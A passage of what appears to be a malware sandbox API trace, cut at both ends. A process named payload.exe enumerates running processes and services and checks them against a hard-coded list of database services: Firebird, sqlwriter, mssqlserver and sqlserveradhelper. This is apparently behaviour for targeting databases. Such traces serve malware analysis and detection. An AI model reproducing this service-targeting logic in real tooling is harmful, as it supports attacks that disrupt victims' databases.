lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0064.637] lstrlenW (lpString="boss.exe") returned 8 [0064.637] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0064.638] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0064.638] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0064.639] lstrlenW (lpString="placing.exe") returned 11 [0064.639] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0064.640] lstrlenW (lpString="heroes.exe") returned 10 [0064.640] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0064.640] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0064.640] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0064.641] lstrlenW (lpString="requirement moments.exe") returned 23 [0064.641] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0064.642] lstrlenW (lpString="sugar.exe") returned 9 [0064.642] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0064.642] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0064.642] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0064.643] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0064.643] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0064.644] lstrlenW (lpString="genealogy.exe") returned 13 [0064.644] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0064.645] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0064.645] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0064.646] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0064.646] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0064.647] lstrlenW (lpString="expenditure.exe") returned 15 [0064.647] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0064.647] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0064.647] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0064.648] lstrlenW (lpString="upgrading.exe") returned 13 [0064.648] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0064.649] lstrlenW (lpString="conservative.exe") returned 16 [0064.649] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0064.650] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0064.650] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0064.651] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0064.651] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0064.651] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0064.652] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0064.652] lstrlenW (lpString="gods violations duke.exe") returned 24 [0064.652] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0064.653] lstrlenW (lpString="dllhost.exe") returned 11 [0064.653] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.654] lstrlenW (lpString="conhost.exe") returned 11 [0064.654] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.655] lstrlenW (lpString="conhost.exe") returned 11 [0064.655] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0064.656] lstrlenW (lpString="payload.exe") returned 11 [0064.656] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.656] lstrlenW (lpString="cmd.exe") returned 7 [0064.656] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.657] lstrlenW (lpString="conhost.exe") returned 11 [0064.657] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0064.658] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0064.658] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.659] lstrlenW (lpString="conhost.exe") returned 11 [0064.659] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.662] lstrlenW (lpString="svchost.exe") returned 11 [0064.662] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0064.663] lstrlenW (lpString="mode.com") returned 8 [0064.663] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0064.663] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0064.663] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.664] lstrlenW (lpString="svchost.exe") returned 11 [0064.664] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0064.665] CloseHandle (hObject=0x368) returned 1 [0064.665] Sleep (dwMilliseconds=0x1f4) [0065.365] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceca0 [0065.366] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0065.366] GetLastError () returned 0xea [0065.366] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x4364f30 [0065.366] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4364f30, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4364f30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0065.367] CloseServiceHandle (hSCObject=0x6ceca0) returned 1 [0065.367] lstrlenW (lpString="Appinfo") returned 7 [0065.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0065.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0065.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0065.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0065.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0065.368] lstrlenW (lpString="AppXSvc") returned 7 [0065.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0065.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0065.368] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0065.368] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0065.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0065.368] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0065.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.368] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0065.368] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0065.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0065.368] lstrlenW (lpString="Audiosrv") returned 8 [0065.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0065.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0065.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0065.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0065.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0065.368] lstrlenW (lpString="BFE") returned 3 [0065.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0065.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0065.368] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0065.368] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0065.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0065.368] lstrlenW (lpString="BITS") returned 4 [0065.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0065.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0065.368] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0065.369] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0065.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0065.369] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0065.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0065.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0065.369] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0065.369] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0065.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0065.369] lstrlenW (lpString="CDPSvc") returned 6 [0065.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0065.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0065.369] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0065.369] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0065.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0065.369] lstrlenW (lpString="ClickToRunSvc") returned 13 [0065.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0065.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0065.369] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0065.369] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0065.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0065.369] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0065.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0065.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0065.369] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0065.369] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0065.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0065.369] lstrlenW (lpString="CryptSvc") returned 8 [0065.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0065.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0065.369] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0065.369] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0065.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0065.369] lstrlenW (lpString="DcomLaunch") returned 10 [0065.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0065.370] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0065.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0065.370] lstrlenW (lpString="DeviceAssociationService") returned 24 [0065.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0065.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0065.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0065.370] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0065.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0065.370] lstrlenW (lpString="Dhcp") returned 4 [0065.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0065.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0065.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0065.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0065.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0065.370] lstrlenW (lpString="Dnscache") returned 8 [0065.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0065.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0065.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0065.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0065.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0065.370] lstrlenW (lpString="DoSvc") returned 5 [0065.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0065.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0065.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0065.370] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0065.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0065.370] lstrlenW (lpString="DPS") returned 3 [0065.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0065.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0065.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0065.370] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0065.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0065.370] lstrlenW (lpString="DusmSvc") returned 7 [0065.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0065.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0065.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0065.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0065.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0065.371] lstrlenW (lpString="EventLog") returned 8 [0065.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0065.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0065.371] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0065.371] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0065.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0065.371] lstrlenW (lpString="EventSystem") returned 11 [0065.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0065.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0065.371] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0065.371] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0065.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0065.371] lstrlenW (lpString="FontCache") returned 9 [0065.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0065.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0065.371] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0065.371] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0065.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0065.371] lstrlenW (lpString="gpsvc") returned 5 [0065.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0065.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0065.371] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0065.371] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0065.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0065.371] lstrlenW (lpString="iphlpsvc") returned 8 [0065.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.371] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0065.371] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0065.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0065.372] lstrlenW (lpString="KeyIso") returned 6 [0065.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0065.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0065.372] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0065.372] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0065.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0065.372] lstrlenW (lpString="LanmanServer") returned 12 [0065.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0065.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0065.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0065.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0065.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0065.372] lstrlenW (lpString="LanmanWorkstation") returned 17 [0065.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0065.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0065.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0065.372] lstrlenW (lpString="lfsvc") returned 5 [0065.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0065.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0065.372] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0065.372] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0065.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0065.377] lstrlenW (lpString="lmhosts") returned 7 [0065.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0065.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 